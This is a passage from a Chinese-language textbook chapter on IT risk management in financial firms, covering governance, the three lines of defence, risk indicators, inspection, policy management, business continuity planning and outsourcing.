·与IT部门和风险管理部门保持独立,对风险管理框架、内控体系的完整性和有效性提供独立的审计 和管理意见。 ·通常向董事会下设的审计管理委员会直接报告。 注意 一道防线和二道防线向经营管理层汇报和负责,而稽核审计部可以直接向董事会汇报和负责,保持 独立性。 4.2.3 管理内容 信息科技风险管理可以从8个领域开展: ·IT治理。IT治理的目标是,形成分工合理、职责明确、相互制衡、报告关系清晰的信息科技治理组 织结构,为企业信息科技的发展提供战略方向和资源保障,并保证信息科技的战略与全行业务战略目标 相一致。 ·信息安全。信息安全的目标是建立信息安全管理策略和技术措施,确保所有计算机操作系统和系统 软件的安全,并进行必要的员工培训。这里所讲的信息安全,是指狭义的信息安全。 ·信息系统开发、测试和维护。信息科技部门应针对信息系统需求分析、规划、采购、开发、测试、 部署、维护、升级和报废等各环节,建立管理制度和流程,管理信息科技项目的排序、立项、审批和控 制,并持续监控重大信息科技项目的进展情况。 ·信息科技运行。信息科技部门应对人员职责分配、数据保存、操作方法、服务水平、变更、故障、 性能及容量管理,建立制度和流程,并对信息科技突发事件建立应急处置预案,严格执行突发事件报告 制度,落实突发事件的处置职责。安全保卫部门负责信息系统机房的物理环境安全管理。 ·业务连续性管理。金融企业和各相关机构应建立恢复服务和保证业务连续运行的管理机制和备用方 案,并定期对其进行检查和测试,保证在业务运行中断时可以快速启动备用方案,降低业务中断带来的 影响。信息科技部门负责信息系统灾难恢复方案的制订、实施和维护。 ·外包管理。信息科技部门负责管理信息科技相关的外包业务,制定与信息科技外包业务有关的管理 政策,保证信息科技外包服务有协议、服务合同和监督机制的约束。 ·内部审计。审计部门应根据信息科技风险所涉及活动的性质、规模和复杂程度,信息科技应用情 况,以及信息科技风险评估结果,决定信息科技审计范围和频率,对信息科技风险管理的适当性和有效 性进行审计和评价,向董事会提供独立的信息科技风险审计意见。审计部应至少每三年进行一次全面的 信息科技风险审计;在进行重大系统开发时,审计部门应参与其中,保证系统开发符合金融企业的信息 科技风险管理要求。 ·外部审计。在符合法律、法规和监管要求的情况下,根据需要可以委托具备相应资质的外部审计机 构进行信息科技外部审计。在委托外部审计机构进行外部审计时,应与其签订保密协议,并督促其严格 遵守法律法规,保守公司的商业秘密和信息科技风险信息。 4.2.4 管理手段和流程 信息科技风险管理,需要遵循一定的“套路”—有流程、有方法、有工具。 1.管理手段 信息科技风险隶属于操作风险,管理手段一般遵从第二道防线风险管理部门的管理手段。实际中, 无论是银行还是证券,都会按照第二道防线下发的操作风险管理三大工具和要求开展工作。这里简单介 绍一下操作风险管理的三大工具。 操作风险管理的三大工具,包括风险与控制自我评估(Risk Control Self-Assessment,RCSA)、损失 数据收集(Loss Data Collection,LDC)和关键风险指标(key risk indicators,KRI)。三大工具贯穿操作 风险管理始终,为高效率、系统化的操作风险管理提供帮助。通常采取信息科技风险与控制自我评估、 设置信息科技关键风险指标、信息科技风险监控报表三种手段对信息科技风险进行管理。 ·RCSA,是识别和评估信息科技风险及风险控制措施有效性的管理手段。各相关部门应按照预先设 定的工作方法,对其职责范围内的信息科技风险管理现状进行评估。信息科技风险与控制自我评估是信 息科技风险管理持续改进的基础工作和关键环节。 ·LDC,是指依据监管规定、内部操作风险偏好与管理需求所定义的收集范围,针对操作风险事件的 相关信息进行数据收集、内容分析、整改方案设计与执行、损失分配和内外部报告等程序。通过持续开 展损失数据收集,一方面,可以动态反映企业操作风险损失的分布情况及发生诱因,为有效识别评估操 作风险和强化管理提供线索和方向;另一方面,可以逐步建立操作风险损失数据库,为今后进行风险建 模和计量积累数据,最终达到提高操作风险管理水平、降低风险损失的目的。 ·KRI,是反映信息科技风险水平的一系列统计指标,具有可量化的特点。关键风险指标用于监测可 能造成重大信息科技风险事件的各项风险及控制措施,并作为反映风险变化情况的早期预警指标。通过 对主要风险类型的早期预警并及时采取应对措施,避免重大信息科技风险事件的发生。 同时,通过信息科技风险监控报表,定期汇总分析,能够获取信息科技风险情况,并能掌握总体风 险变化趋势。 2.管理流程 金融企业的信息科技风险管理流程包括信息科技风险识别、风险分析与评估、风险控制、风险监测 及风险报告等五个环节。 ·风险识别。信息科技风险识别是指对企业具有脆弱性,可能受到威胁侵害,需要保护的信息资源或 资产进行识别和分类,并对相关的威胁和脆弱性进行确认的过程。风险识别是风险管理的第一步,也是 风险管理的基础。信息科技风险具有一定的可变性,风险识别是一项持续性和系统性的工作,应密切注 意原有风险的变化,并随时发现新的风险。 ·风险分析与评估。信息科技风险分析是指对风险的可能性及其发生以后所造成的影响进行综合度 量。信息科技风险评估单位应通过定性或定量的评估方法,判断风险的影响程度和发生可能性,确定风 险的等级。 ·风险控制。信息科技风险控制指根据企业的风险偏好及风险评估的结果建立相应的风险管理措施。 通过建立事前预防、事中监控及事后复核的风险管控手段,降低风险发生的可能性及其造成的影响,并 根据公司的信息科技风险容忍程度采取规避、降低和转移风险的措施,将风险控制到公司可接受的水平 之内。 ·风险监测。信息科技风险监测是指对信息科技风险进行定期或持续的检查,及时发现新出现的信息 科技风险以及风险管理措施出现的问题,并采取相应的补救措施,以保证公司的信息科技风险在不断变 化的内外部环境中,始终处于公司的风险容忍水平之内。应定期通过风险评估和审计等方式对风险的发 展与变化情况进行持续监测,并根据需要对风险应对策略进行调整。 ·风险报告。信息科技风险报告指信息科技部门、风险管理部门和稽核审计部门,依据特定的格式和 程序对信息科技风险状况进行描述、分析和评价,形成信息科技风险报告后,按照规定的报告路线进行 汇报。报告的内容应完整、客观、清晰。 4.2.5 报告机制 为了使董事会、高级管理层和各级领导充分、及时地了解金融企业的风险状况,需要建立信息科技 风险报告机制。报告遵循以下原则: ·逐级上报。 ·IT业务条线、风险管理条线、审计条线各自汇报。 各部门的汇报路径、汇报形式和汇报频率,如图4-2所示。 图4-2 汇报路径示例 1.按照报告部门划分 信息科技部门、风险管理部门和审计部门分别按照以下汇报路径,向高级管理层和董事会报告全行 信息科技风险状况和重大信息科技风险事件: ·信息科技部门负责定期向高级管理层下设的信息科技管理委员会报告信息科技风险管理工作情况。 ·风险管理部门负责定期向高管层下设的风险管理委员会报告信息科技风险状况;同时,根据要求向 董事会及下设的风险控制委员会报告。 ·审计部门负责定期向董事会下设的审计委员会报告信息科技审计情况。 2.按照报告频率划分 第一类是定期报告,三道防线部门按照不同频率和报告路线开展: ·信息科技部门向主管IT的高级管理层成员汇报信息科技风险管理月报,向第二道防线、第三道防线 汇报IT风险管理和IT内外部审计情况。其中信息科技风险管理月报主要是向主管科技的高级管理层成员 (例如首席信息官)汇报周期内IT运行情况(事件、容量、交易量、业务连续性等)、研发情况(开发 质量、)、信息安全(数据安全、人员管理、审计问题),以及其他事项。 ·风险管理部定期完成操作风险监测并向高级管理层报告,至少每季度向董事会及下设的风险控制委 员会报告全面风险管理情况(包括信息科技风险)。 ·审计部每年向董事会下设的审计委员会报告信息科技审计情况。 第二类是触发式报告,由信息科技部在发生以下情况时主动报告: ·发生重大信息科技风险事件。 ·信息科技环境发生重大变化。 ·监管机构要求时向高级管理层汇报。 此外,除了向高级管理层进行内部汇报外,还要按照监管要求向监管机构报送与信息科技风险有关 的报告,也包括定期报告或触发式报告两种形式。 4.2.6 信息科技风险监控指标 信息科技风险管理在IT管理中日益重要。对于高级管理层来说,需要全面了解公司信息科技风险及 风险管控情况,并能够在一定程度上对可能发生的风险事件进行预警。对于人民银行、银监会、保监 会、证监会等监管机构来说,针对银行信息科技提出了一系列监管要求,需要及时发现合规问题和潜在 风险,确保整体合规。为此我们设定了一系列监控指标,并进行持续地整合和完善,力求建立一套内容 全面、标准统一、结构系统的信息科技风险监控指标体系。 在实际工作中,经常发现以下问题: ·监管要求来源渠道多,容易遗漏。 ·不同渠道的部分监管要求重复。 针对这些问题,可以采取以下措施解决: ·建立信息科技风险库。 ·建立信息科技风险监控指标体系。 ·运用监控指标体系。 1.建立信息科技风险库 为了全面、体系化地识别日常管理中需要的信息科技风险监控指标,首先需要建立一套完整的信息 科技风险库。风险库来源应该全面覆盖行业监管合规要求、行业风险事件、行业标准、公司风险现状和 相关专家知识库,保障风险库的完备性,如图4-3和图4-4所示。 基于“威胁×脆弱性=风险”的理论基础,可以从监管要求、行业和公司历史风险事件、业界最佳实践 标准等着手,从自然环境因素、人员因素、技术因素和业务因素等方面的威胁,分析出在人员、流程和 技术等领域的脆弱性,进而识别出信息科技风险点,形成信息科技风险库。 通过对人民银行、银监会等监管机构发布的监管要求和标准进行详细解读,逐条提炼出相对应的信 息科技风险描述,同时将业界和企业内部历史上曾经发生的信息科技风险事件案例作为风险识别的一个 重要输入,通过对监管机构发布的风险提示、披露的银行业信息科技风险事件和内部过往信息科技风险 事件的分析,提炼出各个风险案例中的风险点,并结合信息系统和技术控制目标(Control Objectives for Information and related Technology,COBIT)、信息技术基础架构库(Information Technology Infrastructure Library,ITIL)、ISO27001(信息安全管理体系)、软件能力成熟度集成模型(Capability Maturity Model Integration,CMMI)等国际标准和内部多年积累的风险知识库的内容,构建成信息科技风 险库。 图4-3 信息科技风险指标库来源 图4-4 信息科技风险识别框架 2.建立信息科技风险监控指标体系 识别关键风险指标是指,基于前期建立的信息科技风险库中各个风险点,进行全面梳理和分析,在 对所有风险点进行评估的基础上,分析确定各个风险点的驱动因素,并进行关键信息科技风险指标的识 别。然后,根据重要性、系统性、合规性、代表性和可操作性等原则,对风险监控指标进行筛选。最 后,在指标确定后,明确指标的含义和计算方法等关键属性,如图4-5所示。 图4-5 信息科技风险关键指标识别方法 关键信息科技风险指标可以是客观的量化指标,如信息系统可用率,也可以是偏重定性的指标,如 信息科技组织架构合理性等;可以是客观的,如灾备系统覆盖率,也可以是主观评价型的,如信息科技 组织架构成熟度等。 3.监控指标体系的运用 监控指标体系主要运用在以下几个方面: ·有效评估信息科技风险管理水平。 ·动态监测信息科技风险状况。 ·合理配置信息科技风险管理资源。 ·及时采取管理措施。 必要时通过专业数学建模方法论,可以构建信息科技风险预警模型和管理流程,预警风险并进行风 险处置。 4.指标监测和报告 日常进行风险指标监测,并按月向二道防线和公司主管领导汇报监测情况,对于监测到的异常需要 进行及时处置。 4.3 监督检查 首先,依据监管要求、外部标准和内部规范梳理出一套适用的检查标准,并进行全面覆盖的检查。 通过识别,外部规范分解成9大类、52小类、1249条元要求,去重合并后形成外规内规对应关系,也就是 信息科技风险检查标准库,如图4-6所示。 然后,制订全年检查计划,采用常规检查、专项检查、事件驱动检查相结合的方式,100%覆盖信息 科技风险检查标准库。一个典型的监督检查运行图,如图4-7所示。 专项检查围绕信息科技风险领域,如外包管理、可用性管理、数据安全、业务连续性管理等。例 如,某年共开展××项专项检查工作,提出改进完善建议×××余个。 常规检查注重变更、发布、值班等日常运维重点模块,按周开展监督检查。例如,追踪变更发布近 万个,追踪发现违规问题××个,同时提出风险规避建议×条。 图4-6 信息科技风险检查标准库 图4-7 监督检查运行图示例 事件驱动检查一般在可用性事件、信息安全事件或重大违规违纪事件发生后进行,对于检查中发现 的问题全部纳入问题管理流程进行跟踪管理。而且,通过问题跟踪机制,可以同时归口管理第二、三道 防线的检查发现,充分确保问题统一归口、管理追踪无遗漏,并使整改方案可实施、进度有跟踪、实施 有成效,监督检查闭环流程如图4-8所示。 图4-8 监督检查闭环管理流程 监督检查是确保风险管理政策、措施、流程落地的有效保障,检查方式、投入资源、结果运用根据 实际情况灵活决定。 4.4 制度管理 无论企业属于什么行业、规模大小、发展快慢、战略方向如何,都需要一套科学合理的制度体系, 保证制度的合规性、有效性、可操作性及规范性,才能更好地管理和约束员工,形成有序、良性发展。 金融企业的IT部门也一样。 制度一般以条文形式展示,名称通常冠以政策、规定、办法、规程、细则、指引等;制度可以通过 制度补丁的方式进行调整、补充和完善,制度补丁可以采取条文或非条文的形式展示,一般以修订通 知、补充通知或加强管理通知等标题体现。 1.制度体系 制度体系应遵循架构合理、层级清晰、覆盖全面的原则,制度体系一般包括三级: ·政策级制度,是指用于规范业务条线行使经营管理职责基本事项的制度,名称一般使用制度、规 定、政策、章程等。 ·办法级制度,是指用于规范业务条线的工作方法和具体内容的制度,名称一般使用管理办法、管理 规程等。 ·规程级制度,用于规范具体的作业内容,名称一般使用操作规程、操作细则、实施细则、指引等。 2.制度的起草 在起草制度过程中,应开展调查研究,广泛征求制度执行部门和人员、部门内部相关人员的意见, 以论证制度的必要性、有效性、合理性和可操作性。紧密涉及其他部门职责或与其他部门关系的制度, 主办部门应充分征求其意见。征求意见可采取发送征求意见函、召开制度会审会、签报以及发文会签等 方式进行,其中发文会签为此类制度在发文阶段的必经程序。 制度内容一般应包括:总则(含目的依据、适用范围、管理原则、职责分工、定义等)、管理流 程、监督检查及罚则(如有)、附则(含制定细则要求、解释部门、施行日期、作废声明等)。 3.制度的评审 制度评审主要包含以下内容: ·是否符合法律、规则、准则和监管要求。 ·是否与本公司有关制度协调一致、接口清晰。 ·是否影响本公司制度整体架构的合理性和清晰性。 ·制度描述的流程是否清晰并具有可操作性。 ·是否符合本公司制度的规范性要求。 ·评审人员可以对其认为的其他制度问题(如制度实用性和适宜性等)提出评审意见。 4.制度的发布 经评审、审核或审议通过的制度以公文形式印发。为便于制度维护和管理,印发的制度原则上应一 文号对应一项制度。主办部门应根据制度的印发时间,合理确定制度的施行日期,并在制度中明确。实 际中,很多情况是“本文自发布之日起施行”,但不如确定日期更合适。 5.制度的维护 制度的维护包括制度的后续评估和制度改进。制度后续评估是指主办部门对制度实际管理效果进行 的自我评估,旨在发现制度存在的问题,评估是否需要对制度进行改进。后续评估包括以下内容: ·是否存在合规性、有效性、可操作性和规范性等制度问题。 ·制度间是否存在重复、冲突。 ·是否存在制度缺失和管理盲点。 ·对制度进行梳理,摸清制度补丁情况,评估实施整合的可行性和必要性。 对执行层面反映意见较多的制度,主办部门应及时进行后续评估。对于施行超过5年的制度,主办部 门必须进行制度后续评估,并将评估结果报同级制度主管部门。 在日常工作中,总分支机构各部门应多方收集和整理制度信息,提高制度后续评估的效率和质量。 制度信息包括:外部政策变化,总部制度的变化,制度解释解答,基层操作人员反馈的制度问题,业务 检查发现的管理漏洞,外部或同业案件反映的管理漏洞和新风险,内部组织架构、管理和业务流程调整 等。 制度改进是指根据制度后续评估结果和业务管理需要,主办部门实施的制度新增、换版、修订、补 充以及整合工作。在实施制度改进工作前,主办部门要评估制度改进的成本,兼顾制度的稳定性和执行 的方便性,选择印发制度补丁、增加新制度或换版等方式对制度实施改进。对于制度存在较多补丁的, 相关部门要结合部门制度架构的安排,对制度实施整合。一般情况下,一项制度的补丁不应超过3个。 制度补丁主要有以下几种方式: ·修订通知,是指针对具体制度条款实施调整的制度补丁,发文中应写明作废条款的内容以及对应替 换条款的内容,一般情况下其发文标题拟为“关于修订《××公司×××》有关条款的通知”,并在文中注明解 释部门和施行日期。如同时补充了相关内容,应对补充内容进行独立描述,并将发文标题拟为“关于《×× 公司×××》的修订补充通知”。 ·补充通知,是指针对具体制度进行整体补充的制度补丁,不对原制度条款实施改变,发文中主要描 述补充的内容,一般情况下其发文标题拟为“关于《××公司×××》的补充通知”,并在文中注明解释部门和 施行日期。如属对新增业务功能或管理内容的补充,也可采取条文的形式,一般情况下其发文标题拟 为“关于印发《〈××公司×××〉新增×××的补充规定》的通知”。 ·加强管理通知,是指从某一类业务或管理出发提出的改进要求,对原有的一系列相关制度规定均实 施改变的制度补丁,一般情况下其发文标题拟为“关于加强××管理的通知”,并在文中注明解释部门和施 行日期。 为加强制度补丁的关联性和针对性,以便于制度查阅和学习的系统性,各部门在选择制度补丁方式 时,应尽可能采用“修订通知”或“补充通知”的方式。如以“电邮部通”方式下发的通知涉及制度管理的,一 般仅限于对制度进行强调或解释,不得用于对制度进行补充和修订。 6.制度的日常管理 制度应明确解释部门,原则上由制度主办部门负责解释,特殊情况下应明确各部门解释的范围。低 层级制度与高层级制度规定相抵触时,以高层级制度规定为准,但制度解释部门另有正式批复或回复的 除外。 4.5 业务连续性管理 4.5.1 定义和标准 1.业务连续性管理定义 英国标准协会(British Standards Institution,BSI):业务连续性管理(Business Continuity Management,BCM)是一个整体性的管理流程,它主要识别威胁组织的潜在影响,并且提供构建组织弹 性和有效响应的框架,以保护组织关键利益相关方的利益、声誉、品牌以及价值创造的活动。(BSI, BS25999,ISO22301的前身。) 中国银监会:商业银行为有效应对重要业务运营中断事件,建设应急响应、恢复机制和管理能力框 架,保障重要业务持续运营的一整套管理过程,包括策略、组织架构、方法、标准和程序。(《商业银 行业务连续性监管指引》银监发[2011]104号) 2.ISO 22301 ISO22301为第一份直接以业务连续性管理(Business Continuity Management,BCM)为主题的国际 标准。该标准的性质为要求(Requirements),因此可用于审核与认证。除了ISO 22301外,另有属于指 引(Guidance)的ISO 22313,ISO 22313与ISO 22301合为具有完整架构的业务连续性管理国际标准。 4.5.2 监管要求 1.银监会有关业务连续性管理要求 2007年《商业银行操作风险管理指引》中,业务连续性要求的重点为实现从系统到业务的提升。 2008年《银行业重要信息系统突发事件应急管理规范》中,明确了银行突发事件应对原则;日常管 理以及应急管理组织架构;细化了危机事件预测预警和内外部上报流程。 2009年《商业银行信息科技风险管理指引》中,商业银行应制订全面的信息科技风险管理策略,包 括业务连续性计划和应急处置。 2010年《商业银行数据中心监管指引》中,明确了数据中心的建设以及灾备中心的系统、数据建设 目标,以满足业务连续性的需求。 2011年《商业银行业务连续性监管指引》中,从全行层面明确规定了业务连续性管理建设各阶段的 要求,具有较强的规范性与可操作性。 2013年《商业银行资本管理办法》中,明确要求业务连续性管理实施是标准法计提操作风险资本的 前提条件之一。 2.中国人民银行有关业务连续性管理要求 2002年《关于加强银行数据集中安全工作的指导意见》中,规范了银行网络可靠率、UPS供电时间、 数据全备份频率、灾备中心建设、业务连续性计划和演练要求。 2006年《关于进一步加强银行业金融机构信息安全保障工作的指导意见》中,强调了银行需建立灾 备中心,并定期进行灾备演练。 2007年《银行业信息系统灾备恢复管理流程》中,规范了信息系统应急响应和灾备恢复的具体要 求,规范了灾备恢复组织架构,明确了各等级系统的恢复时间目标(Recovery-Time Objective,RTO)和 恢复时间点目标(Recovery Point Objective,RPO)。 3.世界部分地区金融业监管机构发布的相关指引 部分国家及地区金融监管相关指引如表4-1所示。 表4-1 部分地区金融监管相关指引 4.5.3 BCM实施过程 根据国际良好实践以及BCM的实施经验,将BCM的实施过程总结为以下几个关键步骤: 1)制度和组织建设。建立BCM管理制度,组建总分支机构BCM管理组织架构,明确各部门职责。 2)业务影响分析(Business Impact Analysis,BIA)和风险评估(Risk Assessment,RA)。确定 BCM的需求和管理策略,识别、分析、评价风险,确定防止、降低损失的控制措施。 3)资源建设、预案制订。为满足业务持续运营目标而开展的资源建设,根据RA的成果制订和完善 预案。 4)演练、维护和评估。通过演练提高组织应急处置能力,验证资源可用性,评估BCM体系并持续改 进。 5)BCM企业文化建设。贯穿BCM整个过程,提高全员意识,将BCM融入企业文化中。 4.5.4 业务影响分析和风险评估 1.术语定义 (1)重要业务 《商业银行业务连续性监管指引》(银监发〔2011〕104号)第三条规定重要业务是指面向客户、涉 及账务处理、时效性要求较高的银行业务,其运营服务中断会对商业银行产生较大经济损失或声誉影 响,或对公民、法人和其他组织的权益、社会秩序和公共利益、国家安全造成严重影响的业务。 支持重要业务运行的系统,相应地就称为重要系统。 (2)RTO和RPO 恢复时间目标(RecoveryTime Objective,RTO)分业务RTO和系统RTO,指业务或系统从中断到恢 复所需要的时间,是业务或系统恢复及时性的指标。恢复时间点目标(Recovery Point Objective,RPO) 分业务RPO和系统RPO,指业务或系统数据恢复到的时间点,是业务或系统恢复数据完整性的指标。 (3)BIA 业务影响分析(Business Impact Analysis,BIA)是整个BCM流程建立的基础工作,在这一过程中, 通常会利用定量和定性分析相结合的方法对业务中断可能导致的经济与运营损失进行科学的分析,从而 制订重要业务的恢复优先级、恢复目标(RTO与RPO)以及重要信息系统的恢复优先级和恢复目标等, 通过BIA确定业务连续性管理的策略。 BCM就是解决运营中断事件发生时需要用多少资源、多长时间、什么方式、恢复什么业务的问题, 其中资源、时间、业务都是BIA的成果。 《商业银行业务连续性监管指引》(银监发〔2011〕104号)第二十三条规定,商业银行应当通过业 务影响分析识别和评估业务运营中断所造成的影响和损失,明确业务连续性管理重点,根据业务重要程 度实现差异化管理,确定各业务恢复优先顺序和恢复指标。商业银行应当至少每三年开展一次全面业务 影响分析,并形成业务影响分析报告。 (4)风险评估 风险评估(RA)是进行风险识别、风险分析和风险评价的整个过程,基于BCM的风险评估,关注于 可能对BIA所识别的重要业务造成中断的各类威胁发生的可能性和影响程度,并针对潜在的威胁和影响制 订进一步的风险管控措施。RA是BCM开展的基础和主要需求来源之一。 《商业银行业务连续性监管指引》(银监发〔2011〕104号)第二十八条规定,“商业银行应当开展 业务连续性风险评估,识别业务连续运营所需的关键资源,分析资源所面临的各类威胁以及资源自身的 脆弱性,确定资源的风险敞口。关键资源应当包括关键信息系统及其运行环境,以及关键的人员、业务 场地、业务办公设备、业务单据以及供应商等”。第二十九条规定,“商业银行应当根据风险敞口制订降 低、缓释、转移等应对策略。依据防范或控制风险的可行性和残余风险的可接受程度,确定风险防范和 控制的原则与措施”。 2.业务影响分析实施过程 业务影响分析实施过程包括重要业务和重要系统的识别,重要业务的影响分析过程及结果,重要系 统的影响分析过程及结果,从而得出整个BIA成果,具体流程如图4-9所示。 恢复时间目标和恢复时间点目标(RTO和RPO): ·业务RTO,是指业务恢复所需要的必需时间,是业务恢复及时性的指标。对于公司来说,就是允许 我们用多长时间恢复中断的重要业务。 ·业务RPO,是指业务恢复到的时间点,是业务恢复数据完整性的指标。对于公司来说,就是允许我 们重要业务丢失多长时间的数据。 图4-9 业务影响分析实施流程 国家标准《信息安全技术信息系统灾难恢复规范》(GB/T20988—2007)附录C RTO/RPO与灾难恢 复能力等级的关系,如表4-2所示。 表4-2 RTO/RPO与灾难恢复能力等级的关系 同时,通过收集和分析人民银行、银监会等监管机构发布的监管要求,得出银行业重要系统RTO和 RPO的最低要求,其他金融企业可以参照执行,如表4-3所示。 表4-3 RTO和RPO监管要求 3.风险评估 1)实施前内部方案讨论,确定RA的范围和实施方式。 ·参与范围:重要业务归属部门、数据中心、各一级分支机构(业务和IT)。 ·评估对象:重要业务、总部IT运营、分支机构业务运营整体、分支机构IT运营等。 ·实施方式:现场、非现场沟通和培训/问卷调研分析等。 2)RA调研问卷设计。根据业务和IT特点,结合评估对象差异性,有针对性地设计调研问卷和调研方 式。 3)RA试点反馈,优化问卷。选择几家总部部门、分支机构作为RA工作的试点,根据试点情况反馈 调整整体实施方案和优化调研问卷。 4)全面启动RA工作。确定方案和问卷后统一组织总部各部门、各分支机构开展RA工作。 5)分析整理,撰写报告。各分支机构根据各自RA结果,撰写分支机构RA报告;总部根据各部门反 馈撰写总部评估报告。再综合总部和分支机构RA报告完成企业RA报告。 RA注意事项如下: ·BCM风险评估关注点。各类风险对于业务或IT系统运营的中断威胁,而非经济损失。 ·BCM评估问卷。问卷只是工具,问卷上评估对象、可能性和影响打分规则、影响类别、威胁、高中 低风险划分,都可以根据机构实际情况、风险偏好等进行客户化调整。 ·BCM评估核心。核心在于针对评估的中、高级风险制订管控措施,不需大而全的措施,但要保障措 施的可实施性,改进周期可自定,但不建议超一年,在下次RA时可分析措施的有效性。 4.5.5 BCP、演练和改进 1.术语定义 业务连续性计划(Business Continuity Plan,BCP),是一种策略规划,当灾难发生致使组织关键业 务或服务中断时,BCP可以指导迅速恢复关键业务的正常与持续运作。BCP是组织在实施BCM过程中的 产出物,并在BCM过程中不断更新和完善。银监会监管指引要求BCP主要内容应包括:重要业务及关联 关系、业务恢复优先次序;重要业务运营所需关键资源;应急指挥和危机通讯程序;各类预案以及预案 维护、管理要求;残余风险。 总体应急预案,是商业银行应对运营中断事件的总体方案,包括总体组织架构、各层级预案的定位 和衔接关系,及对运营中断事件的预警、报告、分析、决策、处理、恢复等处置程序。总体预案通常用 于处置导致大范围业务运营中断的事件。 重要业务专项应急预案,应当注重灾难场景的设计,明确在不同场景下的应急流程和措施。业务条 线的专项应急预案,应当注重调动内部资源、采取业务应急手段尽快恢复业务,并和信息科技部门、保 障部门的应急预案有效衔接。 2.内容 业务连续性计划的主要内容应当包括: ·重要业务及关联关系、业务恢复优先次序。 ·重要业务运营所需关键资源。 ·应急指挥和危机通信程序。 ·各类预案以及预案维护、管理要求。 ·残余风险。 专项应急预案的主要内容应当包括: ·应急组织架构及各部门、人员在预案中的角色、权限、职责分工。 ·信息传递路径和方式。 ·运营中断事件处置程序,包括预警、报告、决策、指挥、响应、回退等。 ·运营中断事件处置过程中的风险控制措施。 ·运营中断事件的危机处理机制。 ·运营中断事件的内部沟通机制和联系方式。 ·运营中断事件的外部沟通机制和联系方式。 ·应急完成后的还原机制。 3.演练 演练的目的如下: ·检验应急预案的完整性、可操作性和有效性。 ·验证业务连续性资源的可用性。资源包括人员、IT系统、IT灾备中心、办公和业务场地、基础公共 资源、指挥中心、办公及业务开展所需的其他资源等。 ·提高运营中断事件综合处置能力。 ·提高应急参与人员处置能力、熟悉处置流程、提高全员应急意识、提高应对信心。 监管要求包括:《商业银行业务连续性监管指引》(银监发〔2011〕104号)第五章规定,业务连续 性计划演练中,对演练计划的制订、重要业务演练周期、演练时间点、演练重点(业务和IT配合、IT系 统接管能力)、演练参与者(外部供应商要求)、外部机构演练、演练的记录、总结、评估、改进等都 提出要求。 演练方式如下。 桌面演练(说): ·熟悉处置流程。 ·检查角色分工。 ·检查计划内容。 ·为实战演练准备。 ·场景简单。 实战演练(做): ·真实资源调配。 ·真实系统切换。 ·真实场地转移。 ·全方位检验应急处置的有效性。 ·场景复杂。 4.持续改进 持续改进包括以下工作内容: ·每年需要针对业务连续性管理体系的完整性、合理性、有效性组织一次自评估,或者委托第三方机 构进行评估,并向高管层提交评估报告。 ·每年需要针对业务连续性管理文档进行修订,修订内容包括重要业务调整、制度调整、岗位职责与 人员调整等,确保文档的真实性、有效性。 ·开发新产品时,应同步考虑是否将其纳入业务连续性管理范畴。对纳入业务连续性管理的,应当在 上线前制订业务连续性计划并实施演练。 ·在业务功能或关键资源发生重大变更时,应当及时对业务连续性相关文档进行修订。 ·每三年进行一次业务连续性管理的专项审计,在发生大范围业务运营中断事件后也要及时开展专项 审计。 有部分企业采用了业务连续性管理系统(BCMS),进行业务连续性日常管理,也取得了不错的效 果。 4.5.6 DRI组织及认证 1.国际灾难恢复协会(DRI International) DRI International(DRII)成立于1988年。其使命是通过提供教育和帮助,以及发布标准的基础资 源,来推广业务连续性规划和灾难恢复行业的通用知识体系;协助建立公共和私营机构之间的合作,来 推广相关行业标准;通过对业务持续领域的专业人员进行认证,来提高获认证人员的可信度和专业技 能。 有关DRI International的更多信息见:http://www.drii.org。 2.DRI中国技术委员会 DRI中国技术委员会(DRI China Technical Committee,DRICTC)是DRI China的核心机构,其宗旨 是为DRI China的发展提供组织建设、战略规划等方面的建议和决策支持,帮助DRI China推进BCM、突 发公共事件应急管理(Emergency Management,EM)以及IT信息系统灾难恢复(Disaster Recovery, DR)在中国的发展,建立和完善相关行业标准,解决应用实践中的问题,跟踪国内外BCM的发展趋势, 促进BCM向科学化、专业化、规范化和国际化方向发展;协助DRI China在中国培养更多符合国际标准的 BCM人才;为国内外BCM专业人士、管理人员、政府主管部门、学术机构及厂商,搭建行业内外信息沟 通与交流平台,促进相互合作,共同推进中国各行业BCM的应用和发展;提高中国政府和企业高层管理 者对于防范及应对风险的认识和管理水平,增强其抵御灾难并持续发展的能力。 DRI中国技术委员会的性质是以政府、金融、保险、证券、电信、交通、能源等DR,EM,BCM的主 管,以及该领域的专家、学者等自愿组成的学术性、公益性、非营利性组织。 有关DRI中国技术委员会的更多信息见:http://www.drichina.org/。 3.有关业务连续性管理的国际认证 有关业务连续性管理的国际认证,认可度较高的是DRI International组织维护的国际认证体系,一共 有以下四种。 ·MBCP(Master Business Continuity Professional)—DRI国际认证的最高级别,专门用于在业务连续 性/灾难恢复行业具有高级知识和技能的个人。该认证是针对具有至少五年行业经验的个人。 ·CBCP(Certified Business Continuity Professional)—CBCP认证要求:1)在业务连续性/灾难恢复行 业拥有丰富知识和工作经验的人员;2)该级别需要超过两年的经验;3)申请人必须能够在专业实践的 五个主题领域中展示具体和实际的经验。 ·CFCP(Certified Functional Continuity Professional)—CFCP认证级别,适用于在业务连续性/灾难恢 复行业具有知识和工作经验的个人。该级别需要超过两年的经验。申请人必须能够在专业实践的三个主 题领域中展示具体的实践经验。 ·ABCP(Associate Business Continuity Professional)—ABCP级别,适用于行业经验少于两年的个 人,对业务连续性管理知识最少且已成功通过资格考试的人员。 中国申请较多的BCM国际认证证书是CBCP由DRII为需要获得DRII国际标准资格认证的人员而设计 的课程。 4.6 信息科技外包管理 近年来,各金融机构处于业务快速发展时期,产品不断丰富,开发需求持续增长,对研发产能需求 很大,合理利用外包可以一定程度上减小自身队伍快速膨胀带来的人力资源波动风险,有效利用市场资 源。同时通过引入外部公司资源,获取IT服务提供商的先进经验,提升自身科技队伍的管理及创新水 平。但与此同时带来了一系列外包管理风险。“工作可以外包,责任不能外包”,已成为监管层的明确要 求。 有关外包管理详细内容见第7章外包安全管理。 4.7 分支机构管理 各金融机构基本都在全国各地分布着一些分支机构,比如银行和证券公司。分支机构的规模都比较 大,有的分支机构还有一定规模的信息技术部门。分支机构的IT风险管理也是重要内容。 分支机构的管理内容包括: ·合规管理。明确分支机构需遵守的IT制度,并进行全覆盖的检查,检查可以是远程与现场相结合的 方式进行。合规检查情况纳入当年度分支机构考核。 ·事件管理和问题管理。分支机构发生可用性事件和安全事件时,进行事件调查和处理。相关改进措 施纳入问题管理跟踪督促。 ·项目推广。每年总部会有一些重点工作,需要分支机构落实,放入项目推广工作中。 ·人才培养。建立分支机构IT人才的认证模型,进行专业培训和认证考试,科学评价各分支机构岗位 人才胜任情况。 有效措施包括: 